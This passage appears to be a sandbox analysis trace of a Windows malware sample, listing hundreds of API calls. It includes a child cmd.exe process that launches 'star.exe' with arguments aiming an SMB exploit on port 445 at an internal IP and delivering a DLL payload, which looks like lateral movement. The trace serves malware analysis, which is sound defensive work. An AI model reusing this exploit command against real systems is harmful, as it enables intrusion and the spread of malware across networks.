GetCurrentThreadId () returned 0x1110 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] SetEvent (hEvent=0xd4) returned 1 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] GetCurrentThreadId () returned 0x1110 [0118.826] SetEvent (hEvent=0xd4) returned 1 [0118.827] GetCurrentThreadId () returned 0x1110 [0118.827] GetCurrentThreadId () returned 0x1110 [0118.827] GetCurrentThreadId () returned 0x1110 [0118.827] GetCurrentThreadId () returned 0x1110 [0118.827] GetCurrentThreadId () returned 0x1110 [0118.827] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.827] GetCurrentThreadId () returned 0x1110 [0118.827] GetCurrentThreadId () returned 0x1110 [0118.827] GetCurrentThreadId () returned 0x1110 [0118.827] SetEvent (hEvent=0xd4) returned 1 [0118.827] GetCurrentThreadId () returned 0x1110 [0118.827] GetCurrentThreadId () returned 0x1110 [0118.827] GetCurrentThreadId () returned 0x1110 [0118.827] GetCurrentThreadId () returned 0x1110 [0118.827] GetCurrentThreadId () returned 0x1110 [0118.827] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.827] GetCurrentThreadId () returned 0x1110 [0118.827] GetCurrentThreadId () returned 0x1110 [0118.827] GetCurrentThreadId () returned 0x1110 [0118.827] SetEvent (hEvent=0xd4) returned 1 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] SetEvent (hEvent=0xd4) returned 1 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] SetEvent (hEvent=0xd4) returned 1 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] GetCurrentThreadId () returned 0x1110 [0118.828] SetEvent (hEvent=0xd4) returned 1 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] SetEvent (hEvent=0xd4) returned 1 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] SetEvent (hEvent=0xd4) returned 1 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] GetCurrentThreadId () returned 0x1110 [0118.829] SetEvent (hEvent=0xd4) returned 1 [0118.830] GetCurrentThreadId () returned 0x1110 [0118.830] GetCurrentThreadId () returned 0x1110 [0118.830] GetCurrentThreadId () returned 0x1110 [0118.830] GetCurrentThreadId () returned 0x1110 [0118.830] GetCurrentThreadId () returned 0x1110 [0118.830] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.830] GetCurrentThreadId () returned 0x1110 [0118.830] GetCurrentThreadId () returned 0x1110 [0118.830] GetCurrentThreadId () returned 0x1110 [0118.830] SetEvent (hEvent=0xd4) returned 1 [0118.830] GetCurrentThreadId () returned 0x1110 [0118.830] GetCurrentThreadId () returned 0x1110 [0118.830] GetCurrentThreadId () returned 0x1110 [0118.830] GetCurrentThreadId () returned 0x1110 [0118.830] GetCurrentThreadId () returned 0x1110 [0118.830] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.830] GetCurrentThreadId () returned 0x1110 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] SetEvent (hEvent=0xd4) returned 1 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] SetEvent (hEvent=0xd4) returned 1 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] SetEvent (hEvent=0xd4) returned 1 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.831] GetCurrentThreadId () returned 0x1110 [0118.832] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0118.832] GetCurrentThreadId () returned 0x1110 [0118.832] GetCurrentThreadId () returned 0x1110 [0118.832] GetCurrentThreadId () returned 0x1110 [0118.832] SetEvent (hEvent=0xd4) returned 1 [0118.832] GetCurrentThreadId () returned 0x1110 [0118.834] GetThreadLocale () returned 0x409 [0118.834] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Thread", cchCount1=-1, lpString2="Thread", cchCount2=-1) returned 2 [0118.834] GetThreadLocale () returned 0x409 [0118.834] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Section", cchCount1=-1, lpString2="Process", cchCount2=-1) returned 3 [0118.834] HeapFree (in: hHeap=0x740000, dwFlags=0x0, lpMem=0x75c178 | out: hHeap=0x740000) returned 1 [0118.834] HeapFree (in: hHeap=0x740000, dwFlags=0x0, lpMem=0x763370 | out: hHeap=0x740000) returned 1 [0118.834] WaitForSingleObject (hHandle=0xf8, dwMilliseconds=0xffffffff) returned 0x0 [0125.620] GetExitCodeProcess (in: hProcess=0xf8, lpExitCode=0x28fac8 | out: lpExitCode=0x28fac8*=0x0) returned 1 [0125.620] CloseHandle (hObject=0xf4) [0125.620] GetThreadLocale () returned 0x409 [0125.620] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Process", cchCount1=-1, lpString2="Process", cchCount2=-1) returned 2 [0125.620] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0125.620] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0125.620] HeapFree (in: hHeap=0x740000, dwFlags=0x0, lpMem=0x75cab8 | out: hHeap=0x740000) returned 1 [0125.621] HeapFree (in: hHeap=0x740000, dwFlags=0x0, lpMem=0x770610 | out: hHeap=0x740000) returned 1 [0125.621] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x0 [0125.621] GetLastError () returned 0x57 [0125.621] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x28fefc | out: phModule=0x28fefc) returned 0 [0125.621] ExitProcess (uExitCode=0x0) [0125.621] HeapFree (in: hHeap=0x740000, dwFlags=0x0, lpMem=0x76ee98 | out: hHeap=0x740000) returned 1 [0125.624] VirtualQuery (in: lpAddress=0x430d14, lpBuffer=0x28fce8, dwLength=0x1c | out: lpBuffer=0x28fce8*(BaseAddress=0x430000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x1f000, State=0x1000, Protect=0x80, Type=0x1000000)) returned 0x1c [0125.625] GetCurrentThreadId () returned 0x1110 [0125.625] ResetEvent (hEvent=0xa0) returned 1 [0125.625] GetCurrentThreadId () returned 0x1110 [0125.625] GetCurrentThreadId () returned 0x1110 [0125.625] GetCurrentThreadId () returned 0x1110 [0125.625] ResetEvent (hEvent=0xa0) returned 1 [0125.625] GetCurrentThreadId () returned 0x1110 [0125.625] CloseHandle (hObject=0xa0) returned 1 [0125.626] CloseHandle (hObject=0xa4) returned 1 [0125.626] CloseHandle (hObject=0x9c) returned 1 [0125.628] LocalFree (hMem=0x755138) returned 0x0 [0125.628] VirtualFree (lpAddress=0x460000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.628] LocalFree (hMem=0x756138) returned 0x0 [0125.628] LocalFree (hMem=0x754298) returned 0x0 Process: id = "21" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x2d3a8000" os_pid = "0x140c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "20" os_parent_pid = "0x1114" cmd_line = "C:\\Windows\\system32\\cmd.exe /c cd /D C:\\ProgramData&star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload C:\\ProgramData\\down64.dll --TargetIp 192.168.0.171" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 792 os_tid = 0x1410 [0118.986] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f7ac | out: lpSystemTimeAsFileTime=0x36f7ac*(dwLowDateTime=0x9b64c880, dwHighDateTime=0x1d5ca1f)) [0118.986] GetCurrentProcessId () returned 0x140c [0118.986] GetCurrentThreadId () returned 0x1410 [0118.986] GetTickCount () returned 0x1165919 [0118.986] QueryPerformanceCounter (in: lpPerformanceCount=0x36f7a4 | out: lpPerformanceCount=0x36f7a4*=26009590650) returned 1 [0118.987] GetModuleHandleA (lpModuleName=0x0) returned 0x4aa20000 [0118.987] __set_app_type (_Type=0x1) [0118.987] __p__fmode () returned 0x76be31f4 [0118.987] __p__commode () returned 0x76be31fc [0118.987] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4aa421a6) returned 0x0 [0118.987] __getmainargs (in: _Argc=0x4aa44238, _Argv=0x4aa44240, _Env=0x4aa4423c, _DoWildCard=0, _StartInfo=0x4aa44140 | out: _Argc=0x4aa44238, _Argv=0x4aa44240, _Env=0x4aa4423c) returned 0 [0118.987] GetCurrentThreadId () returned 0x1410 [0118.988] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x1410) returned 0x60 [0118.988] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0118.988] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0118.988] SetThreadUILanguage (LangId=0x0) returned 0x409 [0118.988] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0118.988] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x36f73c | out: phkResult=0x36f73c*=0x0) returned 0x2 [0118.989] VirtualQuery (in: lpAddress=0x36f773, lpBuffer=0x36f70c, dwLength=0x1c | out: lpBuffer=0x36f70c*(BaseAddress=0x36f000, AllocationBase=0x270000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0118.989] VirtualQuery (in: lpAddress=0x270000, lpBuffer=0x36f70c, dwLength=0x1c | out: lpBuffer=0x36f70c*(BaseAddress=0x270000, AllocationBase=0x270000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0118.989] VirtualQuery (in: lpAddress=0x271000, lpBuffer=0x36f70c, dwLength=0x1c | out: lpBuffer=0x36f70c*(BaseAddress=0x271000, AllocationBase=0x270000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0118.989] VirtualQuery (in: lpAddress=0x273000, lpBuffer=0x36f70c, dwLength=0x1c | out: lpBuffer=0x36f70c*(BaseAddress=0x273000, AllocationBase=0x270000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0118.989] VirtualQuery (in: lpAddress=0x370000, lpBuffer=0x36f70c, dwLength=0x1c | out: lpBuffer=0x36f70c*(BaseAddress=0x370000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x120000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0118.989] GetConsoleOutputCP () returned 0x1b5 [0118.989] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa44260 | out: lpCPInfo=0x4aa44260) returned 1 [0118.989] SetConsoleCtrlHandler (HandlerRoutine=0x4aa3e72a, Add=1) returned 1 [0118.989] _get_osfhandle (_FileHandle=1) returned 0x7 [0118.989] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0118.989] _get_osfhandle (_FileHandle=1) returned 0x7 [0118.989] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aa441ac | out: lpMode=0x4aa441ac) returned 1 [0118.990] _get_osfhandle (_FileHandle=1) returned 0x7 [0118.990] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0118.990] _get_osfhandle (_FileHandle=0) returned 0x3 [0118.990] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aa441b0 | out: lpMode=0x4aa441b0) returned 1 [0118.990] GetEnvironmentStringsW () returned 0x642590* [0118.990] GetProcessHeap () returned 0x630000 [0118.990] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0xb5c) returned 0x6430f8 [0118.990] FreeEnvironmentStringsW (penv=0x642590) returned 1 [0118.990] GetProcessHeap () returned 0x630000 [0118.990] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x4) returned 0x641198 [0118.990] GetEnvironmentStringsW () returned 0x642590* [0118.991] GetProcessHeap () returned 0x630000 [0118.991] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0xb5c) returned 0x643c60 [0118.991] FreeEnvironmentStringsW (penv=0x642590) returned 1 [0118.991] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x36e6ac | out: phkResult=0x36e6ac*=0x68) returned 0x0 [0118.991] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x36e6b4, lpData=0x36e6b8, lpcbData=0x36e6b0*=0x1000 | out: lpType=0x36e6b4*=0x0, lpData=0x36e6b8*=0x0, lpcbData=0x36e6b0*=0x1000) returned 0x2 [0118.991] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x36e6b4, lpData=0x36e6b8, lpcbData=0x36e6b0*=0x1000 | out: lpType=0x36e6b4*=0x4, lpData=0x36e6b8*=0x1, lpcbData=0x36e6b0*=0x4) returned 0x0 [0118.991] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x36e6b4, lpData=0x36e6b8, lpcbData=0x36e6b0*=0x1000 | out: lpType=0x36e6b4*=0x0, lpData=0x36e6b8*=0x1, lpcbData=0x36e6b0*=0x1000) returned 0x2 [0118.991] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x36e6b4, lpData=0x36e6b8, lpcbData=0x36e6b0*=0x1000 | out: lpType=0x36e6b4*=0x4, lpData=0x36e6b8*=0x0, lpcbData=0x36e6b0*=0x4) returned 0x0 [0118.991] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x36e6b4, lpData=0x36e6b8, lpcbData=0x36e6b0*=0x1000 | out: lpType=0x36e6b4*=0x4, lpData=0x36e6b8*=0x40, lpcbData=0x36e6b0*=0x4) returned 0x0 [0118.991] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x36e6b4, lpData=0x36e6b8, lpcbData=0x36e6b0*=0x1000 | out: lpType=0x36e6b4*=0x4, lpData=0x36e6b8*=0x40, lpcbData=0x36e6b0*=0x4) returned 0x0 [0118.991] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x36e6b4, lpData=0x36e6b8, lpcbData=0x36e6b0*=0x1000 | out: lpType=0x36e6b4*=0x0, lpData=0x36e6b8*=0x40, lpcbData=0x36e6b0*=0x1000) returned 0x2 [0118.991] RegCloseKey (hKey=0x68) returned 0x0 [0118.991] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x36e6ac | out: phkResult=0x36e6ac*=0x68) returned 0x0 [0118.991] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x36e6b4, lpData=0x36e6b8, lpcbData=0x36e6b0*=0x1000 | out: lpType=0x36e6b4*=0x0, lpData=0x36e6b8*=0x40, lpcbData=0x36e6b0*=0x1000) returned 0x2 [0118.991] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x36e6b4, lpData=0x36e6b8, lpcbData=0x36e6b0*=0x1000 | out: lpType=0x36e6b4*=0x4, lpData=0x36e6b8*=0x1, lpcbData=0x36e6b0*=0x4) returned 0x0 [0118.991] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x36e6b4, lpData=0x36e6b8, lpcbData=0x36e6b0*=0x1000 | out: lpType=0x36e6b4*=0x0, lpData=0x36e6b8*=0x1, lpcbData=0x36e6b0*=0x1000) returned 0x2 [0118.992] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x36e6b4, lpData=0x36e6b8, lpcbData=0x36e6b0*=0x1000 | out: lpType=0x36e6b4*=0x4, lpData=0x36e6b8*=0x0, lpcbData=0x36e6b0*=0x4) returned 0x0 [0118.992] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x36e6b4, lpData=0x36e6b8, lpcbData=0x36e6b0*=0x1000 | out: lpType=0x36e6b4*=0x4, lpData=0x36e6b8*=0x9, lpcbData=0x36e6b0*=0x4) returned 0x0 [0118.992] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x36e6b4, lpData=0x36e6b8, lpcbData=0x36e6b0*=0x1000 | out: lpType=0x36e6b4*=0x4, lpData=0x36e6b8*=0x9, lpcbData=0x36e6b0*=0x4) returned 0x0 [0118.992] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x36e6b4, lpData=0x36e6b8, lpcbData=0x36e6b0*=0x1000 | out: lpType=0x36e6b4*=0x0, lpData=0x36e6b8*=0x9, lpcbData=0x36e6b0*=0x1000) returned 0x2 [0118.992] RegCloseKey (hKey=0x68) returned 0x0 [0118.992] time (in: timer=0x0 | out: timer=0x0) returned 0x5e1c81b5 [0118.992] srand (_Seed=0x5e1c81b5) [0118.992] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c cd /D C:\\ProgramData&star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload C:\\ProgramData\\down64.dll --TargetIp 192.168.0.171" [0118.992] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c cd /D C:\\ProgramData&star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload C:\\ProgramData\\down64.dll --TargetIp 192.168.0.171" [0118.992] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0118.992] GetProcessHeap () returned 0x630000 [0118.992] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x210) returned 0x6447c8 [0118.992] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6447d0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0118.992] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0118.992] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0118.993] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0118.993] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0118.993] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0118.993] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0118.993] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0118.993] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0118.993] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0118.993] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0118.993] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0118.993] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0118.993] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0118.993] GetProcessHeap () returned 0x630000 [0118.993] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x54) returned 0x6449e0 [0118.993] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x36f478 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0118.993] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x36f478, lpFilePart=0x36f474 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x36f474*="Desktop") returned 0x25 [0118.993] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0118.993] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x36f1f4 | out: lpFindFileData=0x36f1f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x642410 [0118.993] FindClose (in: hFindFile=0x642410 | out: hFindFile=0x642410) returned 1 [0118.993] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x36f1f4 | out: lpFindFileData=0x36f1f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x642410 [0118.993] FindClose (in: hFindFile=0x642410 | out: hFindFile=0x642410) returned 1 [0118.994] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0118.994] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x36f1f4 | out: lpFindFileData=0x36f1f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68549420, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x68549420, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x642410 [0118.994] FindClose (in: hFindFile=0x642410 | out: hFindFile=0x642410) returned 1 [0118.994] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0118.994] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0118.994] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0118.994] GetProcessHeap () returned 0x630000 [0118.994] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6430f8 | out: hHeap=0x630000) returned 1 [0118.994] GetEnvironmentStringsW () returned 0x642d90* [0118.994] GetProcessHeap () returned 0x630000 [0118.994] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0xb5c) returned 0x644a40 [0118.994] FreeEnvironmentStringsW (penv=0x642d90) returned 1 [0118.994] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0118.994] GetProcessHeap () returned 0x630000 [0118.994] HeapFree (in: hHeap=0x630000, 